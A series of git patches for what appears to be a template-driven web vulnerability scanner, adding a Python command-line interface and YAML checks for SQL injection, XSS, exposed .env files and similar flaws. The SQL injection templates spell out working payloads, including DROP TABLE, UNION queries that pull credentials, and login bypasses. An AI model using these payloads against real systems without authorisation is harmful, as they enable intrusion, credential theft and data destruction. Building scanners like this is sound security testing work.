From 445df7ec4bc6b3fdfb9abf8ac35a2e1c3b1b4003 Mon Sep 17 00:00:00 2001 From: mynameisfathima Date: Fri, 3 Jan 2025 07:20:42 +0530 Subject: [PATCH 01/65] loads single file --- main.py | 52 ++++++++++++++++++++++++++++++++++++++++++---------- 1 file changed, 42 insertions(+), 10 deletions(-) diff --git a/main.py b/main.py index 0d43d0b..8893ddf 100644 --- a/main.py +++ b/main.py @@ -1,28 +1,60 @@ -import sys +import argparse +import yaml +import os from engine.template_parser import load_templates_from_directory from engine.scanner import Scanner -from engine.utils import print_results def main(): - # TODO, setup CLI Interface https://www.geeksforgeeks.org/command-line-option-and-argument-parsing-using-argparse-in-python/ - if len(sys.argv) < 2: - print(f"Usage: python {sys.argv[0]} []") - sys.exit(1) + parser = argparse.ArgumentParser( + description="A tool for scanning a target URL using templates." + ) - target_url = sys.argv[1] - templates_dir = sys.argv[2] if len(sys.argv) > 2 else "templates/http" + parser.add_argument( + "target_url", + help="The target URL to scan.", + ) + parser.add_argument( + "-t", "--templates", + default="templates/http", + help=( + "Path to a specific template file or directory containing YAML templates. " + "Default: templates/http" + ), + ) - # Load the templates - templates = load_templates_from_directory(templates_dir) + # Parse the arguments + args = parser.parse_args() + + target_url = args.target_url + templates_path = args.templates + + # Check and load YAML templates + if os.path.isfile(templates_path) and templates_path.endswith(".yaml"): + print(f"Loading specific template: {templates_path}") + with open(templates_path, "r") as file: + try: + templates = [yaml.safe_load(file)] # Parse the YAML into a dictionary + except yaml.YAMLError as e: + print(f"Error parsing YAML file: {e}") + exit(1) + elif os.path.isdir(templates_path): + print(f"Loading all YAML files from directory: {templates_path}") + templates = load_templates_from_directory(templates_path) + else: + print(f"Invalid path: {templates_path}. Ensure it points to a .yaml file or a directory.") + exit(1) # Create the scanner instance scanner = Scanner(templates) # Run the scan + print(f"Scanning target URL: {target_url}") results = scanner.scan(target_url) + for idx, result in enumerate(results): print(f"Result #{idx + 1}, result for {result['name']}: {result['matched']}") if __name__ == "__main__": main() + From 61c94510ca92bd95440b0035001a899f8ae1614f Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Fri, 3 Jan 2025 08:45:06 +0530 Subject: [PATCH 02/65] sql-injection --- templates/http/sql-injection.yaml | 81 +++++++++++++++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 templates/http/sql-injection.yaml diff --git a/templates/http/sql-injection.yaml b/templates/http/sql-injection.yaml new file mode 100644 index 0000000..5b7b964 --- /dev/null +++ b/templates/http/sql-injection.yaml @@ -0,0 +1,81 @@ +id: sql-vulnerability-test +name: SQL Injection Vulnerability +description: Extensive test for SQL injection vulnerabilities in query parameters and form fields. +severity: Critical +author: Project +tags: + - sql + - injection + - critical + - database + - web + +requests: + - method: GET + path: + - "{{BaseURL}}?id=1' OR '1'='1" + - "{{BaseURL}}?id=1'--" + - "{{BaseURL}}?id=1'/*" + - "{{BaseURL}}?id=1'; DROP TABLE users;--" + - "{{BaseURL}}?id=1' UNION SELECT NULL, NULL--" + - "{{BaseURL}}?id=1' AND SLEEP(5)--" + - "{{BaseURL}}?id=1' OR 'a'='a" + - "{{BaseURL}}?id=-1' UNION SELECT 1, @@version--" + - "{{BaseURL}}?id=1' AND '1'='2" + headers: + User-Agent: SQL-Injection-Scanner + matchers: + - type: word + words: + - SQL syntax error + - MySQL + - syntax error + - unclosed quotation mark + - Warning: mysql_fetch + - Unknown column + - database error + condition: or + + - method: POST + path: + - "{{BaseURL}}/submit" + body: + - "username=admin' OR '1'='1&password=test" + - "username=admin'--&password=test" + - "username=1' AND SLEEP(5)--&password=test" + - "username=1' UNION SELECT 1,2,3--&password=test" + - "username=1'; DROP TABLE users;--&password=test" + - "username=admin' OR 1=1--&password=test" + - "username=1' AND '1'='2&password=test" + headers: + Content-Type: application/x-www-form-urlencoded + User-Agent: SQL-Injection-Scanner + matchers: + - type: word + words: + - SQL syntax error + - MySQL + - syntax error + - unclosed quotation mark + - Warning: mysql_fetch + - Unknown column + - database error + condition: or + + - method: GET + path: + - "{{BaseURL}}?search=' OR 1=1--" + - "{{BaseURL}}?search=' UNION SELECT username, password FROM users--" + headers: + User-Agent: SQL-Injection-Scanner + matchers: + - type: word + words: + - SQL syntax error + - MySQL + - syntax error + - unclosed quotation mark + - Warning: mysql_fetch + - Unknown column + - database error + condition: or From 5bf41fc548bf7fa43c7bfd31f96798f56833f27c Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Fri, 3 Jan 2025 09:20:15 +0530 Subject: [PATCH 03/65] Updated for sql --- engine/matchers.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/engine/matchers.py b/engine/matchers.py index 081fb40..e04cc24 100644 --- a/engine/matchers.py +++ b/engine/matchers.py @@ -46,6 +46,24 @@ def header_search(response, matcher): return False else: return False + + elif condition_type == "or": + sql_error_keywords = [ + "SQL syntax error", + "MySQL", + "syntax error", + "unclosed quotation mark", + "Warning: mysql_fetch", + "Unknown column", + "database error" + ] + + for key, value in headers.items(): + if any(error_keyword in value for error_keyword in sql_error_keywords): + return True + + return False + return False def regex_match(response: Response, matcher: Dict[str, Any]) -> bool: """ From 0c2728c6436c11e32c4a3129bf3400c3695cf0e7 Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Sat, 4 Jan 2025 12:47:48 +0530 Subject: [PATCH 04/65] Update sql-injection --- templates/http/sql-injection.yaml | 66 ++++++------------------------- 1 file changed, 12 insertions(+), 54 deletions(-) diff --git a/templates/http/sql-injection.yaml b/templates/http/sql-injection.yaml index 5b7b964..cad299a 100644 --- a/templates/http/sql-injection.yaml +++ b/templates/http/sql-injection.yaml @@ -1,16 +1,17 @@ id: sql-vulnerability-test -name: SQL Injection Vulnerability -description: Extensive test for SQL injection vulnerabilities in query parameters and form fields. -severity: Critical -author: Project -tags: - - sql - - injection - - critical - - database - - web +info: + name: SQL Injection Vulnerability + description: Extensive test for SQL injection vulnerabilities in query parameters and form fields. + severity: Critical + author: Project + tags: + - sql + - injection + - critical + - database + - web -requests: +http: - method: GET path: - "{{BaseURL}}?id=1' OR '1'='1" @@ -36,46 +37,3 @@ requests: - database error condition: or - - method: POST - path: - - "{{BaseURL}}/submit" - body: - - "username=admin' OR '1'='1&password=test" - - "username=admin'--&password=test" - - "username=1' AND SLEEP(5)--&password=test" - - "username=1' UNION SELECT 1,2,3--&password=test" - - "username=1'; DROP TABLE users;--&password=test" - - "username=admin' OR 1=1--&password=test" - - "username=1' AND '1'='2&password=test" - headers: - Content-Type: application/x-www-form-urlencoded - User-Agent: SQL-Injection-Scanner - matchers: - - type: word - words: - - SQL syntax error - - MySQL - - syntax error - - unclosed quotation mark - - Warning: mysql_fetch - - Unknown column - - database error - condition: or - - - method: GET - path: - - "{{BaseURL}}?search=' OR 1=1--" - - "{{BaseURL}}?search=' UNION SELECT username, password FROM users--" - headers: - User-Agent: SQL-Injection-Scanner - matchers: - - type: word - words: - - SQL syntax error - - MySQL - - syntax error - - unclosed quotation mark - - Warning: mysql_fetch - - Unknown column - - database error - condition: or From f5e0731dea3f066a48a9725c3ec6661ec11b8260 Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Sat, 4 Jan 2025 12:48:49 +0530 Subject: [PATCH 05/65] Update ping_google.yaml --- templates/http/ping_google.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/http/ping_google.yaml b/templates/http/ping_google.yaml index 3a11ba0..6d3ff40 100644 --- a/templates/http/ping_google.yaml +++ b/templates/http/ping_google.yaml @@ -1,7 +1,7 @@ id: check-route-root info: - name: Script to check if HTTP Page of Google at 8.8.8.8 is available + name: Script to check if HTTP Page is available author: DanBrown47 severity: none description: Script will send a HTTP request to 8.8.8.8 to see if network is available @@ -15,4 +15,4 @@ http: max-redirects: 1 - response: - - status: 200 \ No newline at end of file + - status: 200 From ce9b4760be7f4b89ef42068e7876c5cbad7c0ad3 Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Sat, 4 Jan 2025 13:53:55 +0530 Subject: [PATCH 06/65] Created yaml --- templates/http/broken-access-control.yaml | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 templates/http/broken-access-control.yaml diff --git a/templates/http/broken-access-control.yaml b/templates/http/broken-access-control.yaml new file mode 100644 index 0000000..c062aad --- /dev/null +++ b/templates/http/broken-access-control.yaml @@ -0,0 +1,23 @@ +id: broken-access-control-test +info: + name: Broken Access Control Vulnerability Test + description: Test for broken access control in sensitive sections. + severity: Critical + author: Project + tags: + - access + - control + - security + +http: + - method: GET + path: + - "{{BaseURL}}/admin" + headers: + User-Agent: Access-Control-Tester + matchers: + - type: word + words: + - "Access Denied" + - "Forbidden" + condition: or From e2caa7407b8ddf5694a2419aed1fbc74c467d294 Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Sat, 4 Jan 2025 13:55:12 +0530 Subject: [PATCH 07/65] creates yaml --- templates/http/Broken-authentication.yaml | 25 +++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 templates/http/Broken-authentication.yaml diff --git a/templates/http/Broken-authentication.yaml b/templates/http/Broken-authentication.yaml new file mode 100644 index 0000000..c5373a9 --- /dev/null +++ b/templates/http/Broken-authentication.yaml @@ -0,0 +1,25 @@ +id: broken-authentication-test +info: + name: Broken Authentication Vulnerability Test + description: Test for broken authentication vulnerabilities in login forms. + severity: Critical + author: Project + tags: + - authentication + - security + +http: + - method: POST + path: + - "{{BaseURL}}/login" + body: + - "username=admin&password=admin' OR '1'='1" + headers: + Content-Type: application/x-www-form-urlencoded + User-Agent: Auth-Scanner + matchers: + - type: word + words: + - login failed + - incorrect username or password + condition: or From e254e734bec5fddf680dccb14545347637832288 Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Sat, 4 Jan 2025 13:57:24 +0530 Subject: [PATCH 08/65] yaml --- templates/http/insecure-deserialization.yaml | 25 +++++++++++++++++++ .../http/insufficient-logging-monitoring.yaml | 23 +++++++++++++++++ .../http/known-vulnerable-components.yaml | 22 ++++++++++++++++ 3 files changed, 70 insertions(+) create mode 100644 templates/http/insecure-deserialization.yaml create mode 100644 templates/http/insufficient-logging-monitoring.yaml create mode 100644 templates/http/known-vulnerable-components.yaml diff --git a/templates/http/insecure-deserialization.yaml b/templates/http/insecure-deserialization.yaml new file mode 100644 index 0000000..ca4358d --- /dev/null +++ b/templates/http/insecure-deserialization.yaml @@ -0,0 +1,25 @@ +id: insecure-deserialization-test +info: + name: Insecure Deserialization Vulnerability Test + description: Test for insecure deserialization vulnerabilities in user inputs. + severity: High + author: Project + tags: + - deserialization + - security + + +http: + - method: POST + path: + - "{{BaseURL}}/deserialize" + body: + - "username=admin&password=test&data=%s" # Potential for insecure deserialization payload + headers: + Content-Type: application/x-www-form-urlencoded + matchers: + - type: word + words: + - "Object" + - "deserialization" + condition: or diff --git a/templates/http/insufficient-logging-monitoring.yaml b/templates/http/insufficient-logging-monitoring.yaml new file mode 100644 index 0000000..5e811fa --- /dev/null +++ b/templates/http/insufficient-logging-monitoring.yaml @@ -0,0 +1,23 @@ +id: insufficient-logging-monitoring-test +info: + name: Insufficient Logging & Monitoring Vulnerability Test + description: Test for missing or insufficient logging and monitoring. + severity: High + author: Project + tags: + - logging + - monitoring + - security + +http: + - method: GET + path: + - "{{BaseURL}}/admin/logs" + headers: + User-Agent: Logging-Monitoring-Scanner + matchers: + - type: word + words: + - "error" + - "log" + condition: or diff --git a/templates/http/known-vulnerable-components.yaml b/templates/http/known-vulnerable-components.yaml new file mode 100644 index 0000000..b16cbba --- /dev/null +++ b/templates/http/known-vulnerable-components.yaml @@ -0,0 +1,22 @@ +id: known-vulnerable-components-test +info: + name: Components with Known Vulnerabilities Test + description: Test for vulnerable components by checking versions. + severity: High + author: Project + tags: + - components + - vulnerabilities + +http: + - method: GET + path: + - "{{BaseURL}}/version" + headers: + User-Agent: Vulnerability-Scanner + matchers: + - type: word + words: + - "CVE" + - "version" + condition: or From bb83abcfd3f936335aed71307616f37ca7506293 Mon Sep 17 00:00:00 2001 From: Fathima Firoz <98166163+mynameisfathima@users.noreply.github.com> Date: Sat, 4 Jan 2025 14:00:36 +0530 Subject: [PATCH 09/65] yaml --- templates/http/security-misconfiguration.yaml | 21 ++++++++++++++++ templates/http/sensitive-data-exposure.yaml | 24 +++++++++++++++++++ templates/http/xss-vulnerability.yaml | 22 +++++++++++++++++ templates/http/xxe-vulnerability.yaml | 23 ++++++++++++++++++ 4 files changed, 90 insertions(+) create mode 100644 templates/http/security-misconfiguration.yaml create mode 100644 templates/http/sensitive-data-exposure.yaml create mode 100644 templates/http/xss-vulnerability.yaml create mode 100644 templates/http/xxe-vulnerability.yaml diff --git a/templates/http/security-misconfiguration.yaml b/templates/http/security-misconfiguration.yaml new file mode 100644 index 0000000..a4db83c --- /dev/null +++ b/templates/http/security-misconfiguration.yaml @@ -0,0 +1,21 @@ +id: security-misconfiguration-test +info: + name: Security Misconfiguration Vulnerability Test + description: Test for misconfiguration issues, such as access to sensitive files. + severity: High + author: Project + tags: + - misconfiguration + - security +http: + - method: GET + path: + - "{{BaseURL}}/.env" + headers: + User-Agent: Misconfiguration-Scanner + matchers: + - type: word + words: + - "database_url" + - "secret_key" + condition: or diff --git a/templates/http/sensitive-data-exposure.yaml b/templates/http/sensitive-data-exposure.yaml new file mode 100644 index 0000000..e906e3d --- /dev/null +++ b/templates/http/sensitive-data-exposure.yaml @@ -0,0 +1,24 @@ +id: sensitive-data-exposure-test +info: + name: Sensitive Data Exposure Vulnerability Test + description: Test for sensitive data exposure in profile pages. + severity: Critical + author: Project + tags: + - data + - exposure + - privacy + +http: + - method: GET + path: + - "{{BaseURL}}/profile" + headers: + User-Agent: Sensitive-Data-Exposure-Scanner + matchers: + - type: word + words: + - "password=" + - "token=" + - "session=" + condition: or diff --git a/templates/http/xss-vulnerability.yaml b/templates/http/xss-vulnerability.yaml new file mode 100644 index 0000000..6bce17e --- /dev/null +++ b/templates/http/xss-vulnerability.yaml @@ -0,0 +1,22 @@ +id: xss-vulnerability-test +info: + name: Cross-Site Scripting (XSS) Vulnerability Test + description: Test for reflected or stored XSS vulnerabilities in inputs. + severity: High + author: Project + tags: + - xss + - security + +http: + - method: GET + path: + - "{{BaseURL}}?search=" + headers: + User-Agent: XSS-Scanner + matchers: + - type: word + words: + - "